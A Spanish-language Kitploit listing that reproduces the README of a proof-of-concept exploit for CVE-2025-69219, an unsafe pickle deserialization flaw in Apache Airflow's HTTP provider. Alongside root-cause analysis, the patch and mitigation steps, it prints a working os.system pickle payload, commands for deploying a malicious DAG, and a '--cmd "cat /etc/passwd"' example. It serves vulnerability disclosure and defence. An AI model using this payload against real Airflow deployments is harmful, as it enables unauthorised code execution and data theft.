Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-69219 — Prueba de concepto de exploit para CVE-2025-69219, que demuestra ejecución remota de código en Apache Airflow Providers HTTP mediante deserialización insegura de pickle. Incluye scripts de PoC, análisis técnico y guía de mitigación. | Kitploit
Herramientas/GitHubGitHub/sak110/cve-2025-69219
Análisis de VulnerabilidadesExplotaciónPapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubsak110/cve-2025-69219

CVE-2025-69219

Prueba de concepto de exploit para CVE-2025-69219, que demuestra ejecución remota de código en Apache Airflow Providers HTTP mediante deserialización insegura de pickle. Incluye scripts de PoC, análisis técnico y guía de mitigación.

Ver Repositorio
731hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-69219 — Apache Airflow Providers HTTP RCE mediante Deserialización Insegura de Pickle

Gravedad: Alta (CVSS 3.1: 8.8)
Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Control Inadecuado de Recursos de Código Gestionados Dinámicamente
Afectado: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Corregido en: apache-airflow-providers-http == 6.0.0
Parche: apache/airflow#61662 · commit 97839f7


Resumen

El proveedor HTTP de Apache Airflow usaba el módulo pickle de Python para serializar y deserializar respuestas de disparadores HTTP para tareas diferidas. El punto vulnerable en HttpOperator.execute_complete() se veía así:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

El diccionario event se lee de la base de datos de Airflow, lo que significa que cualquier principal con acceso de escritura a la BD puede plantar un payload malicioso de pickle. Cuando el Triggerer worker procesa la tarea diferida, deserializa ciegamente ese payload, ejecutando comandos arbitrarios del sistema operativo con los permisos del proceso Triggerer, equivalente a un Autor de DAG.


Causa raíz

pickle.loads() sobre datos no confiables es una operación inherentemente insegura. El protocolo __reduce__ de Pickle permite incrustar cualquier invocable de Python en el blob serializado e invocarlo durante la deserialización sin ningún tipo de sandboxing.

El Triggerer de Airflow serializa la respuesta HTTP al completarse y la almacena en la BD:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Un atacante a nivel de BD reemplaza este valor con un blob de pickle manipulado, por ejemplo:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

El Triggerer entonces llama a execute_complete → pickle.loads() → RCE.


La corrección (6.0.0)

El parche reemplaza completamente pickle por un serializador JSON seguro y explícito:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

El nuevo deserializador solo reconstruye un objeto requests.Response a partir de campos conocidos (status_code, headers, content, etc.) — no es posible la ejecución de código arbitrario.


PoC

Requisitos

root@kitploit:~
# Python 3.9+; instalar una versión vulnerable
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Modo 1 — Simulación local (no necesita Airflow)

Reproduce la llamada vulnerable pickle.loads() en el mismo proceso:

root@kitploit:~
python poc.py
# o con un comando personalizado:
python poc.py --cmd "whoami"

Salida de ejemplo:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Modo 2 — Despliegue completo de DAG (requiere una instancia de Airflow en ejecución con providers-http < 6.0.0)

root@kitploit:~
# Generar un DAG desplegable
python poc.py --mode dag --cmd "id"

# Copiar al directorio de DAGs de Airflow
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Disparar desde la UI de Airflow o desde CLI
airflow dags trigger cve_2025_69219_poc

Verifique los registros de la tarea para ver la salida del comando.

Imprimir payload bruto

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Impacto

FactorDetalle
Quién puede explotarCualquier usuario con acceso de escritura directo a la base de datos de Airflow
Contexto de ejecuciónProceso worker del Triggerer (mismos permisos que un Autor de DAG)
ProbabilidadBaja: el acceso directo a la BD no es estándar en implementaciones bien configuradas
Radio de afectaciónRCE completo en el nodo del Triggerer: exfiltración de datos, movimiento lateral, persistencia

Mitigación

  1. Actualizar apache-airflow-providers-http a 6.0.0 o posterior.
  2. Restringir el acceso a la BD: solo las cuentas de servicio del scheduler/webserver de Airflow deben tener acceso de escritura a la base de datos de metadatos.
  3. Antes de actualizar, asegúrese de que todas las tareas HTTP diferidas (deferrable=True) se hayan completado o se hayan limpiado, ya que las tareas en vuelo serializadas con pickle generarán un TypeError después de la actualización (cambio incompatible documentado en el changelog del proveedor).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Cronología

FechaEvento
2026-03-09CVE publicado por Apache Software Foundation
2026-03-09Corrección fusionada (PR #61662, commit 97839f7)
2026-03-09Divulgado en la lista de correo oss-security

Referencias

  • CVE-2025-69219 en NVD
  • Aviso de GitHub GHSA-9r5j-7r2x-rv4g
  • Parche PR #61662
  • Commit del parche 97839f7
  • Divulgación en oss-security

Créditos

  • skypher — descubridor
  • Shauryae1337 — descubridor
  • ahmetartuc — descubridor y autor original del PoC (poc-cve-2025-69219)

El PoC en este repositorio está basado en el trabajo original de @ahmetartuc.


Aviso legal

Esta prueba de concepto se publica únicamente con fines educativos y de investigación en seguridad. Solo debe probarse contra sistemas que sean de su propiedad o para los cuales tenga autorización explícita por escrito para realizar pruebas. Los autores no se hacen responsables de ningún uso indebido.

Descargar herramienta